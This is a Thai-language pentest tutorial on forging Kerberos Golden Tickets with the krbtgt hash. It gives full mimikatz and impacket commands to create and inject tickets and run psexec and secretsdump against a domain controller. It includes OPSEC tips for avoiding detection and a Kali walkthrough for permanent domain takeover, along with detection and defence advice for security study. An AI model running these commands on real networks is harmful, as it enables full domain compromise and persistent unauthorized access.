Golden Ticket
Golden Ticket คือการปลอม TGT (Ticket Granting Ticket) ด้วย NTLM hash ของบัญชี krbtgt — ทำให้ปลอมตัวเป็นใครก็ได้ (รวม Domain Admin) ในโดเมน เป็น persistence ที่ทรงพลังสุดเพราะ valid จนกว่าจะ reset krbtgt บทนี้ลงลึกกลไก, สิ่งที่ต้องเตรียม, การสร้างด้วย mimikatz/impacket, การใช้, OPSEC และการป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)
1. หลักการ — ทำไมปลอม TGT ได้
ใน Kerberos, TGT (ตั๋วที่ใช้ขอ service ต่อ) ถูกเข้ารหัสและ sign ด้วย NTLM hash ของบัญชี krbtgt DC ตรวจ TGT โดยถอดรหัสด้วย krbtgt hash — ถ้าถอดได้ก็เชื่อ โดยไม่ตรวจย้อนว่า TGT ออกมาอย่างไร ดังนั้นถ้าเรามี krbtgt hash (จาก DCSync) เราสร้าง TGT ปลอมเองได้ ใส่ว่าเป็นใคร (เช่น Administrator) สิทธิ์อะไร (เช่นสมาชิก Domain Admins) — DC จะเชื่อทุกอย่าง เพราะถอดด้วย krbtgt hash ผ่าน นี่คือ 'Golden Ticket'
2. สิ่งที่ต้องเตรียม
| ต้องมี | ได้จากไหน |
|---|---|
| krbtgt NTLM hash (หรือ AES key) | DCSync (ดูหัวข้อ DCSync) |
| Domain SID | whoami /user, PowerView, lookupsid.py |
| Domain FQDN | รู้อยู่แล้ว (เช่น domain.local) |
| username ที่จะปลอม | เลือกเอง (เช่น Administrator) |
# Windows
whoami /user # ดู SID (ตัด RID ท้ายออก = domain SID)
# PowerView: Get-DomainSID
# Linux (impacket)
lookupsid.py domain.local/user:[email protected] 0
# หรือจาก secretsdump output3. สร้าง Golden Ticket (mimikatz)
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-...-...-... /krbtgt:KRBTGT_NTLM_HASH /ptt
# /user = ชื่อที่จะปลอม (จะใส่อะไรก็ได้)
# /domain = FQDN
# /sid = domain SID
# /krbtgt = NTLM hash ของ krbtgt (จาก DCSync)
# /ptt = pass-the-ticket (inject เข้า session เลย)
# ใช้ AES แทน RC4 (เนียนกว่า)
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /aes256:KRBTGT_AES256_KEY /ptt
# หลัง /ptt แล้วใช้ได้เลย เช่น:
# dir \\DC\C$4. สร้าง Golden Ticket (impacket, Linux)
# สร้าง golden ticket เป็นไฟล์ .ccache
ticketer.py -nthash KRBTGT_NTLM_HASH -domain-sid S-1-5-21-...-...-... -domain domain.local Administrator
# ได้ Administrator.ccache → ตั้งเป็น ticket ปัจจุบัน
export KRB5CCNAME=Administrator.ccache
# ใช้ ticket เข้าถึง service (pass-the-ticket)
psexec.py -k -no-pass domain.local/[email protected]
secretsdump.py -k -no-pass domain.local/[email protected]
wmiexec.py -k -no-pass domain.local/[email protected]5. Golden vs Silver Ticket
| Golden Ticket | Silver Ticket | |
|---|---|---|
| ปลอมอะไร | TGT (ตั๋วหลัก) | TGS (ตั๋ว service เฉพาะ) |
| ใช้ hash ของ | krbtgt | service account/computer |
| เข้าถึง | ทุก service ในโดเมน | เฉพาะ service นั้น |
| คุยกับ DC? | ใช่ (ขอ TGS ต่อ) | ไม่ (ตรงไป service) |
| ตรวจจับ | ง่ายกว่า (แตะ DC) | ยากกว่า (ไม่แตะ DC) |
| ขอบเขต | ยึดทั้งโดเมน | จำกัดแต่เนียน (ดู Silver Ticket) |
6. OPSEC และการป้องกัน
- OPSEC: ใช้ค่าที่สมจริง — username ที่มีอยู่จริง, ใช้ AES แทน RC4, ตั้งอายุ ticket ตามปกติ (mimikatz default 10 ปีดูผิดปกติ)
- ตรวจจับ: Event 4769 (TGS request) ที่ไม่มี 4768 (TGT request) คู่กัน = TGT ที่ไม่ได้ออกจาก DC; ticket อายุยาวผิดปกติ
- ป้องกันหลัก: reset krbtgt password 2 ครั้ง (มี history 2 รุ่น) — ตัด Golden Ticket ทั้งหมด
- ป้องกัน: ปกป้อง krbtgt hash (ป้องกัน DCSync ตั้งแต่แรก)
- ป้องกัน: ใช้ Protected Users group, monitor anomaly ของ Kerberos ticket
- เป็น persistence: Golden Ticket valid จนกว่า krbtgt เปลี่ยน — ใช้กลับเข้าได้แม้รหัสอื่นถูก reset หมด
7. Quick Reference
- ปลอม TGT ด้วย krbtgt hash → เป็นใครก็ได้ (รวม DA)
- ต้องมี: krbtgt hash (DCSync), domain SID, FQDN
- หา SID: whoami /user (ตัด RID); lookupsid.py
- Windows: mimikatz kerberos::golden /user /domain /sid /krbtgt /ptt
- Linux: ticketer.py -nthash KRBTGT -domain-sid SID -domain D user → KRB5CCNAME
- ใช้: psexec.py/secretsdump.py -k -no-pass
- ป้องกัน: reset krbtgt x2; AES เนียนกว่า RC4; monitor 4769
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเพิ่งดึง krbtgt hash มาได้ (จาก DCSync) มีแค่ Kali ทำตามนี้สร้าง Golden Ticket แล้วยึดโดเมนถาวร
- 1ยืนยันมีของครบ: krbtgt hash, domain SID, domain FQDN
- 2หา SID (ถ้ายังไม่มี):
lookupsid.py domain.local/user:pass@<DC_IP> 0หรือดูจาก secretsdump output - 3สร้าง ticket:
ticketer.py -nthash <KRBTGT_HASH> -domain-sid <SID> -domain domain.local Administrator - 4ตั้ง ticket เป็นค่าใช้งานปัจจุบัน:
export KRB5CCNAME=Administrator.ccache - 5ทดสอบเข้า DC ทันที:
psexec.py -k -no-pass domain.local/[email protected] - 6ถ้าเข้าไม่ได้ ลอง
wmiexec.py -k -no-pass ...หรือsecretsdump.py -k -no-pass ... - 7ถ้ายัง fail ให้เช็คเวลาเครื่อง (
ntpdate <DC_IP>) เพราะ Kerberos ไวต่อ clock skew มาก - 8เข้าได้แล้ว → ใช้สิทธิ์ Administrator/DA ทำอะไรก็ได้ในโดเมน และเก็บ ticket ไว้ใช้ซ้ำได้จนกว่า krbtgt จะถูก reset
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| หา domain SID | impacket (lookupsid.py) | pipx install impacket | - |
| สร้าง Golden Ticket | impacket (ticketer.py) | - | - |
| ใช้ ticket เข้า DC | impacket (psexec.py/wmiexec.py/secretsdump.py) | - | - |
| sync เวลากับ DC | ntpdate / rdate | apt install ntpdate | - |
| ยืนยัน creds/สิทธิ์เดิม | netexec (crackmapexec) | apt install netexec | - |
| ทางเลือก remote shell | - | gem install evil-winrm | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้